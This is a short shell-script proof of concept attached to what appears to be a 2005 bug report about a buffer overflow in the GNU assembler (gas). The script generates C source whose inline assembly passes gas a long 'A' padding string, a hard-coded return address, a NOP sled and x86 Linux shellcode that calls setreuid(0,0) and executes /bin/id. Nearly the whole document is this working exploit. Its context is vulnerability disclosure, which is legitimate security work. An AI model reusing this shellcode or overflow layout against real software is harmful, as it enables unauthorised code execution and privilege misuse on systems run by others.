PoC

gas-poc.sh (text/plain), 608 bytes, created by Tavis Ormandy (RETIRED) on 2005-07-18 14:34:20 UTC

#!/bin/sh
#
# gas overflow poc, <[e-mail]>

returnaddr='\xc4\xea\xff\xbf'
shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id'

printf '#include <stdio.h>\n'
printf '#define EGG "%s"\n' "$shellcode"
printf '#define RET "%s"\n' "$returnaddr"
printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`"
printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"

cat << __EOF__
#include <stdio.h>

int main (int argc, char **argv)
{
	        __asm__ (PAD RET NOP EGG);
}
__EOF__